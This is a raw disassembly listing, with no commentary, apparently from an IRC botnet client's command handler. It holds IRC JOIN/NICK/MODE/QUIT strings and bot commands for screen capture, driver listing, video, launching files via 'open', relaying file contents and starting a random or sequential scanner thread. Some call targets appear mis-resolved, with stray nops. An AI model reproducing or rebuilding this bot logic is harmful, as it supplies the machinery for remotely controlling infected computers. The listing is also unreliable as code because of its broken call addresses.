pop ecx
push dword_4450CC[eax]
call sub_40D633
add esp, 0Ch
push [ebp+arg_18]
push edi
push offset dword_4367B4
jmp loc_4132D8
; ---------------------------------------------------------------------------
loc_413090: ; CODE XREF: sub_40EE72+2435j
; sub_40EE72+244Cj
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4130C1
push esi
lea eax, [ebp+var_2DC]
push offset dword_4367AC
push eax
call sub_4172B0
add esp, 0Ch
loc_4130C1: ; CODE XREF: sub_40EE72+4238j
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 1F4h
pop ecx
jge loc_414F47
lea eax, [ebp+var_2DC]
push eax
push offset dword_428598
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4450CC[eax]
call sub_40D633
add esp, 0Ch
push esi
push edi
push offset dword_436780
jmp loc_4132D8
; ---------------------------------------------------------------------------
loc_413115: ; CODE XREF: sub_40EE72+2407j
; sub_40EE72+241Ej
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F47
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 1F4h
pop ecx
jge loc_414F47
push esi
push offset dword_428598
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4450CC[eax]
call sub_40D633
add esp, 0Ch
push esi
push edi
push offset dword_436754
jmp loc_4132D8
; ---------------------------------------------------------------------------
loc_413183: ; CODE XREF: sub_40EE72+23D9j
; sub_40EE72+23F0j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F47
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push esi
push offset dword_43671C
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_4131BD: ; CODE XREF: sub_40EE72+23ABj
; sub_40EE72+23C2j
push [ebp+var_90]
push offset dword_4386A8
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F239
push [ebp+arg_18]
push offset dword_436710
push [ebp+arg_4]
call sub_40D633
push edi
call sub_41781F
imul eax, 3E8h
add esp, 10h
push eax
call near ptr 25F0439h
nop
push [ebp+esi+var_88]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
push offset dword_4366EC
call sub_40BF6D
add esp, 14h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_413226: ; CODE XREF: sub_40EE72+237Dj
; sub_40EE72+2394j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
call sub_417AB0
push [ebp+arg_8]
mov esi, eax
call sub_417AB0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417880
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_414F47
push esi
lea eax, [ebp+var_2DC]
push offset dword_436F08
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_40D679
add esp, 20h
push esi
push edi
push offset dword_4366C0
jmp short loc_4132D8
; ---------------------------------------------------------------------------
loc_41328C: ; CODE XREF: sub_40EE72+234Fj
; sub_40EE72+2366j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
call sub_417AB0
push [ebp+arg_8]
mov esi, eax
call sub_417AB0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417880
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_414F47
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_40D679
add esp, 14h
push esi
push edi
push offset dword_436694
loc_4132D8: ; CODE XREF: sub_40EE72+4219j
; sub_40EE72+429Ej ...
call sub_40BFE1
jmp loc_412FF6
; ---------------------------------------------------------------------------
loc_4132E2: ; CODE XREF: sub_40EE72+2321j
; sub_40EE72+2338j
cmp [ebp+var_C], ebx
jz loc_40F239
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz loc_40F239
push eax
push edi
call sub_40BE75
pop ecx
pop ecx
push edi
push offset dword_436668
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_413314: ; CODE XREF: sub_40EE72+22E1j
; sub_40EE72+22F8j
push edi
push [ebp+arg_1C]
call sub_417880
pop ecx
test eax, eax
pop ecx
jz loc_414F47
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz loc_4133B8
push esi
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4133A0
push esi
lea eax, [ebp+var_2DC]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_436894
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_418C10
add esp, 24h
lea eax, [ebp+var_2DC]
push esi
push edi
push offset dword_436634
push eax
call sub_4172B0
add esp, 10h
inc [ebp+arg_24]
jmp loc_414AC3
; ---------------------------------------------------------------------------
loc_4133A0: ; CODE XREF: sub_40EE72+44D3j
lea eax, [ebp+var_2DC]
push offset dword_4365F4
push eax
call sub_4172B0
pop ecx
pop ecx
jmp loc_414AC3
; ---------------------------------------------------------------------------
loc_4133B8: ; CODE XREF: sub_40EE72+44BEj
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40BB8C
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
lea eax, [ebp+var_2DC]
push edi
push offset dword_4365CC
push 200h
push eax
call sub_41782A
add esp, 10h
jmp loc_414AC3
; ---------------------------------------------------------------------------
loc_413402: ; CODE XREF: sub_40EE72+22B3j
; sub_40EE72+22CAj
push offset aScreen ; "screen"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_413465
cmp [ebp+esi+var_8C], ebx
jz short loc_413452
push [ebp+esi+var_8C]
call sub_4085B3
cmp eax, 1
pop ecx
jnz short loc_41344B
push [ebp+esi+var_8C]
lea eax, [ebp+var_2DC]
push offset dword_436588
push eax
call sub_4172B0
add esp, 0Ch
jmp short loc_413465
; ---------------------------------------------------------------------------
loc_41344B: ; CODE XREF: sub_40EE72+45BAj
push offset dword_43654C
jmp short loc_413457
; ---------------------------------------------------------------------------
loc_413452: ; CODE XREF: sub_40EE72+45A8j
push offset dword_436504
loc_413457: ; CODE XREF: sub_40EE72+45DEj
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_413465: ; CODE XREF: sub_40EE72+459Fj
; sub_40EE72+45D7j
push offset aDrivers ; "drivers"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_4134FC
mov [ebp+arg_0], ebx
loc_41347D: ; CODE XREF: sub_40EE72+4675j
lea eax, [ebp+var_75C]
push 1FFh
push eax
lea eax, [ebp+var_3F8]
push 0FFh
push eax
push [ebp+arg_0]
call dword_43F698
test eax, eax
jz short loc_4134E0
lea eax, [ebp+var_75C]
push eax
lea eax, [ebp+var_3F8]
push eax
lea eax, [ebp+var_15B0]
push [ebp+arg_0]
push offset dword_4364C8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_15B0]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 28h
loc_4134E0: ; CODE XREF: sub_40EE72+462Ej
inc [ebp+arg_0]
cmp [ebp+arg_0], 0Ah
jl short loc_41347D
lea eax, [ebp+var_2DC]
push offset dword_436494
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4134FC: ; CODE XREF: sub_40EE72+4602j
push offset aFrame ; "frame"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_4135A2
cmp [ebp+esi+var_8C], ebx
jz short loc_41358F
cmp [ebp+esi+var_88], ebx
jz short loc_41358F
cmp [ebp+esi+var_84], ebx
jz short loc_41358F
mov eax, [ebp+esi+var_80]
cmp eax, ebx
jz short loc_41358F
push eax
call sub_41781F
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41781F
pop ecx
push eax
push [ebp+esi+var_88]
call sub_41781F
pop ecx
push eax
push [ebp+esi+var_8C]
call sub_4087EE
add esp, 10h
test eax, eax
jnz short loc_413588
push [ebp+esi+var_8C]
lea eax, [ebp+var_2DC]
push offset dword_436450
push eax
call sub_4172B0
add esp, 0Ch
jmp short loc_4135A2
; ---------------------------------------------------------------------------
loc_413588: ; CODE XREF: sub_40EE72+46F7j
push offset dword_43640C
jmp short loc_413594
; ---------------------------------------------------------------------------
loc_41358F: ; CODE XREF: sub_40EE72+46A6j
; sub_40EE72+46AFj ...
push offset dword_4363C4
loc_413594: ; CODE XREF: sub_40EE72+471Bj
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4135A2: ; CODE XREF: sub_40EE72+4699j
; sub_40EE72+4714j
push offset aVideo ; "video"
push edi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_413A64
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_41363B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_41363B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz short loc_41363B
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_41363B
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_41363B
push esi
call sub_41781F
pop ecx
push eax
push edi
call sub_41781F
pop ecx
push eax
push [ebp+arg_10]
call sub_41781F
pop ecx
push eax
push [ebp+arg_0]
call sub_41781F
pop ecx
push eax
push [ebp+arg_18]
call sub_4089E7
add esp, 14h
test eax, eax
jnz short loc_413631
push [ebp+arg_18]
push offset dword_436388
jmp loc_411888
; ---------------------------------------------------------------------------
loc_413631: ; CODE XREF: sub_40EE72+47B0j
push offset dword_436338
jmp loc_413A56
; ---------------------------------------------------------------------------
loc_41363B: ; CODE XREF: sub_40EE72+4751j
; sub_40EE72+475Fj ...
push offset dword_4362EC
jmp loc_413A56
; ---------------------------------------------------------------------------
loc_413645: ; CODE XREF: sub_40EE72+1CF0j
; sub_40EE72+1D07j
push offset aR ; "r"
push edi
call sub_4179A8
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4136C0
mov ebx, 200h
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
call sub_41900C
add esp, 0Ch
loc_41366E: ; CODE XREF: sub_40EE72+482Bj
test eax, eax
jz short loc_41369F
push 1
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
push esi
lea eax, [ebp+var_2DC]
push ebx
push eax
call sub_41900C
add esp, 20h
jmp short loc_41366E
; ---------------------------------------------------------------------------
loc_41369F: ; CODE XREF: sub_40EE72+47FEj
push esi
call sub_417900
pop ecx
lea eax, [ebp+var_2DC]
push edi
push offset dword_4362B8
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_4110FD
; ---------------------------------------------------------------------------
loc_4136C0: ; CODE XREF: sub_40EE72+47E4j
push edi
push offset dword_436288
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_4136CB: ; CODE XREF: sub_40EE72+1CC2j
; sub_40EE72+1CD9j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F47
push offset asc_42A660 ; "\n"
push esi
call sub_4179D0
push esi
call sub_40B358
add esp, 0Ch
test eax, eax
jnz short loc_41370B
push offset dword_43624C
jmp loc_413A56
; ---------------------------------------------------------------------------
loc_41370B: ; CODE XREF: sub_40EE72+488Dj
push esi
push offset dword_436224
jmp loc_414AB4
; ---------------------------------------------------------------------------
loc_413716: ; CODE XREF: sub_40EE72+1C94j
; sub_40EE72+1CABj
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz loc_414F47
push eax
call sub_40AAFA
test eax, eax
pop ecx
jnz short loc_413747
push offset unk_4361F8
jmp loc_413A56
; ---------------------------------------------------------------------------
loc_413747: ; CODE XREF: sub_40EE72+48C9j
push offset dword_4361CC
jmp loc_413A56
; ---------------------------------------------------------------------------
loc_413751: ; CODE XREF: sub_40EE72+1C66j
; sub_40EE72+1C7Dj
push 7Fh
lea eax, [ebp+var_6EC]
push edi
push eax
call sub_418C10
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_413780
push 7Fh
lea eax, [ebp+var_66C]
push esi
push eax
call sub_418C10
add esp, 0Ch
loc_413780: ; CODE XREF: sub_40EE72+48FAj
push 7Fh
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_418C10
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_6F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
mov eax, [ebp+var_4]
mov [ebp+var_564], eax
push edi
lea eax, [ebp+var_2DC]
push offset dword_4361A4
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 15h
push eax
call sub_416D5C
add esp, 18h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6F0]
push ebx
push eax
push offset sub_40BC4B
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_413821
loc_41380B: ; CODE XREF: sub_40EE72+49ADj
cmp [ebp+var_560], ebx
jnz loc_414AC3
push 32h
nop
call near ptr 25F0439h
jmp short loc_41380B
; ---------------------------------------------------------------------------
loc_413821: ; CODE XREF: sub_40EE72+4997j
nop
call near ptr 2630313h
push eax
push offset unk_436158
jmp loc_414AB4
; ---------------------------------------------------------------------------
loc_413832: ; CODE XREF: sub_40EE72+1C38j
; sub_40EE72+1C4Fj
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push edi
call sub_406387
add esp, 10h
push edi
push offset dword_436134
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_413850: ; CODE XREF: sub_40EE72+1C0Aj
; sub_40EE72+1C21j
push 14h
lea eax, [ebp+var_708]
push ebx
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_6F4]
push edi
push offset aS_1 ; "%s"
push eax
call sub_4172B0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_5F0]
push 80h
push eax
call sub_41782A
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+var_6F4]
push eax
lea eax, [ebp+var_2DC]
push offset dword_436100
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 12h
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C512
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_413929
loc_413913: ; CODE XREF: sub_40EE72+4AB5j
cmp [ebp+var_560], ebx
jnz loc_414E11
push 32h
nop
call near ptr 25F0439h
jmp short loc_413913
; ---------------------------------------------------------------------------
loc_413929: ; CODE XREF: sub_40EE72+4A9Fj
nop
call near ptr 2630313h
push eax
push offset dword_4385B0
jmp loc_414E02
; ---------------------------------------------------------------------------
loc_41393A: ; CODE XREF: sub_40EE72+1BDCj
; sub_40EE72+1BF3j
push edi
call near ptr 27A0C9Ch
nop
test eax, eax
jz short loc_413964
push edi
push offset dword_4360D4
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
add esp, 10h
jmp loc_4110DC
; ---------------------------------------------------------------------------
loc_413964: ; CODE XREF: sub_40EE72+4AD1j
push offset dword_436A74
call sub_40AA35
pop ecx
push eax
jmp loc_414564
; ---------------------------------------------------------------------------
loc_413975: ; CODE XREF: sub_40EE72+1BAEj
; sub_40EE72+1BC5j
push edi
call sub_41781F
push eax
call sub_415419
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_413992
push offset unk_43609C
jmp short loc_413997
; ---------------------------------------------------------------------------
loc_413992: ; CODE XREF: sub_40EE72+4B17j
push offset unk_436058
loc_413997: ; CODE XREF: sub_40EE72+4B1Ej
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_411100
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
jmp loc_411100
; ---------------------------------------------------------------------------
loc_4139D0: ; CODE XREF: sub_40EE72+1B80j
; sub_40EE72+1B97j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_41518A
add esp, 18h
cmp eax, 1
push edi
jnz short loc_4139F2
push offset unk_436024
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_4139F2: ; CODE XREF: sub_40EE72+4B74j
push offset unk_435FE4
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_4139FC: ; CODE XREF: sub_40EE72+1B52j
; sub_40EE72+1B69j
push edi
call dword_43F6A8
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_413A36
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_43F620
cmp eax, ebx
jz short loc_413A51
push dword ptr [eax]
loc_413A1F: ; CODE XREF: sub_40EE72+4BDDj
push edi
lea eax, [ebp+var_2DC]
push offset dword_435FB8
push eax
call sub_4172B0
add esp, 10h
jmp short loc_413A64
; ---------------------------------------------------------------------------
loc_413A36: ; CODE XREF: sub_40EE72+4B97j
push edi
call dword_43F6EC
cmp eax, ebx
jz short loc_413A51
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_43F6F4
push eax
jmp short loc_413A1F
; ---------------------------------------------------------------------------
loc_413A51: ; CODE XREF: sub_40EE72+4BA9j
; sub_40EE72+4BCDj
push offset dword_435F80
loc_413A56: ; CODE XREF: sub_40EE72+3E2Fj
; sub_40EE72+3FBEj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_413A64: ; CODE XREF: sub_40EE72+2A25j
; sub_40EE72+3B37j ...
cmp [ebp+var_8], ebx
jnz loc_414AC3
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
jmp loc_414AC3
; ---------------------------------------------------------------------------
loc_413A8E: ; CODE XREF: sub_40EE72+1B24j
; sub_40EE72+1B3Bj
push 7Fh
push edi
push [ebp+arg_14]
call sub_418C10
add esp, 0Ch
push edi
push offset dword_435F4C
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_413AA7: ; CODE XREF: sub_40EE72+1AF6j
; sub_40EE72+1B0Dj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_43F5DC
test eax, eax
push edi
jz short loc_413AC7
push offset unk_435F10
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_413AC7: ; CODE XREF: sub_40EE72+4C49j
push offset unk_435ECC
jmp loc_4110B1
; ---------------------------------------------------------------------------
loc_413AD1: ; CODE XREF: sub_40EE72+1AC8j
; sub_40EE72+1ADFj
mov al, [edi]
mov byte_42F5C4, al
movsx eax, byte ptr [edi]
push eax
push offset dword_435E98
jmp loc_410E48
; ---------------------------------------------------------------------------
loc_413AE6: ; CODE XREF: sub_40EE72+1A9Aj
; sub_40EE72+1AB1j
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 1F4h
pop ecx
jge loc_414F47
push ebx
push ebx
lea eax, [ebp+var_B8]
push 2
push eax
call sub_415D01
add esp, 10h
push eax
lea eax, [ebp+var_2DC]
push offset dword_4367E0
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_412FD2
; ---------------------------------------------------------------------------
loc_413B34: ; CODE XREF: sub_40EE72+1A6Cj
; sub_40EE72+1A83j
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_40F239
push edi
call sub_41781F
mov esi, 1F4h
pop ecx
cmp eax, esi
jge loc_40F239
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4450CC[eax]
call sub_40D633
pop ecx
pop ecx
push esi
nop
call near ptr 25F0439h
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4450CC[eax]
call dword_43F700
push [ebp+var_10]
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4450D4[eax]
call near ptr 27B0A22h
nop
push edi
call sub_41781F
imul eax, 234h
push edi
mov dword_4450D4[eax], ebx
call sub_41781F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_444EC0[eax], bl
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_413BDD: ; CODE XREF: sub_40EE72+1A3Ej
; sub_40EE72+1A55j
push edi
push offset aAll ; "all"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_413C1B
call sub_416F25
cmp eax, ebx
jle short loc_413C11
push eax
push offset dword_435E4C
loc_413BFD: ; CODE XREF: sub_40EE72+15E2j
; sub_40EE72+2A8Fj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
loc_413C09: ; CODE XREF: sub_40EE72+3CA6j
add esp, 0Ch
jmp loc_41460C
; ---------------------------------------------------------------------------
loc_413C11: ; CODE XREF: sub_40EE72+4D83j
push offset dword_435E14
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_413C1B: ; CODE XREF: sub_40EE72+4D7Aj
mov eax, [ebp+var_C0]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40F239
lea eax, [ebp+edi*4+var_94]
mov [ebp+arg_24], eax
loc_413C37: ; CODE XREF: sub_40EE72+4E36j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_40F239
push esi
call sub_41781F
push eax
call sub_416E97
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_413C5E
push offset dword_435DE0
jmp short loc_413C63
; ---------------------------------------------------------------------------
loc_413C5E: ; CODE XREF: sub_40EE72+4DE3j
push offset dword_435DA4
loc_413C63: ; CODE XREF: sub_40EE72+4DEAj
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_413C93
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_413C93: ; CODE XREF: sub_40EE72+4E03j
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_413C37
jmp loc_40F239
; ---------------------------------------------------------------------------
loc_413CAF: ; CODE XREF: sub_40EE72+1A10j
; sub_40EE72+1A27j
cmp [ebp+var_C], ebx
jz loc_414F47
push edi
push [ebp+var_C]
call sub_417880
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F47
push esi
push offset dword_428598
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push esi
push offset dword_435D7C
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_413CE9: ; CODE XREF: sub_40EE72+19E2j
; sub_40EE72+19F9j
push edi
push offset dword_436710
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push edi
push offset dword_435D4C
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_413D05: ; CODE XREF: sub_40EE72+19B4j
; sub_40EE72+19CBj
push [ebp+esi+var_8C]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 10h
push edi
push offset dword_435D1C
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_413D28: ; CODE XREF: sub_40EE72+1986j
; sub_40EE72+199Dj
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40D633
add esp, 0Ch
push edi
push offset dword_435CE8
jmp loc_414F40
; ---------------------------------------------------------------------------
loc_413D44: ; CODE XREF: sub_40EE72+194Bj
; sub_40EE72+1960j
mov al, byte_42F5F2
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_42F5F2
jz loc_40F239
mov ecx, edx
loc_413D5B: ; CODE XREF: sub_40EE72+4EF1j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_413D5B
cmp al, bl
jz loc_40F239
mov [ebp+arg_18], edx
loc_413D70: ; CODE XREF: sub_40EE72+51BCj
push 8
call sub_416FA4
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 258h
jle short loc_413DBF
push ecx
lea eax, [ebp+var_2DC]
push offset unk_437024
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 20h
jmp loc_414025
; ---------------------------------------------------------------------------
loc_413DBF: ; CODE XREF: sub_40EE72+4F18j
or [ebp+var_314], 0FFFFFFFFh
cmp dword_42ACB0, ebx
mov [ebp+var_318], 14h
mov [ebp+var_32C], 7
mov [ebp+var_328], 140h
mov [ebp+arg_0], ebx
jz short loc_413E30
mov eax, [ebp+arg_18]
mov edi, offset dword_42ACB0
lea esi, [eax-0Ah]
loc_413DFA: ; CODE XREF: sub_40EE72+4FA0j
lea eax, [edi-28h]
push esi
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_413E16
inc [ebp+arg_0]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_413DFA
jmp short loc_413E30
; ---------------------------------------------------------------------------
loc_413E16: ; CODE XREF: sub_40EE72+4F96j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, dword_42ACB0[ecx]
mov [ebp+var_330], ecx
loc_413E30: ; CODE XREF: sub_40EE72+4F7Bj
; sub_40EE72+4FA2j
cmp [ebp+var_330], ebx
jz loc_414039
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_2EC]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_43F60C
mov al, [ebp+var_9C7]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2E8], eax
push [ebp+var_2E8]
call dword_43F6F4
push eax
lea eax, [ebp+var_444]
push eax
call sub_418C10
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_444]
push eax
call sub_418F10
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_413ED2
loc_413EB0: ; CODE XREF: sub_40EE72+505Ej
cmp eax, ebx
jz short loc_413ED2
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h
push eax
call sub_418F10
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_413EB0
loc_413ED2: ; CODE XREF: sub_40EE72+503Cj
; sub_40EE72+5040j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov esi, [ebp+var_4]
mov [ebp+var_334], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_308], eax
lea eax, [ebp+var_434]
push eax
mov [ebp+var_304], 1
mov [ebp+var_30C], esi
call sub_41782A
mov edi, offset aF ; "#f"
push offset byte_43C80C
push edi
call sub_4176D0
add esp, 14h
test eax, eax
jz short loc_413F3C
push edi
lea eax, [ebp+var_3B4]
push 80h
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_413F42
; ---------------------------------------------------------------------------
loc_413F3C: ; CODE XREF: sub_40EE72+50B1j
mov [ebp+var_3B4], bl
loc_413F42: ; CODE XREF: sub_40EE72+50C8j
cmp [ebp+var_304], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_413F54
mov eax, offset aSequential ; "Sequential"
loc_413F54: ; CODE XREF: sub_40EE72+50DBj
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_435C70
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_416D5C
add esp, 2Ch
mov [ebp+var_324], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_40797F
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_413FDE
loc_413FCC: ; CODE XREF: sub_40EE72+516Aj
cmp [ebp+var_300], ebx
jnz short loc_413FF9
push 32h
nop
call near ptr 25F0439h
jmp short loc_413FCC
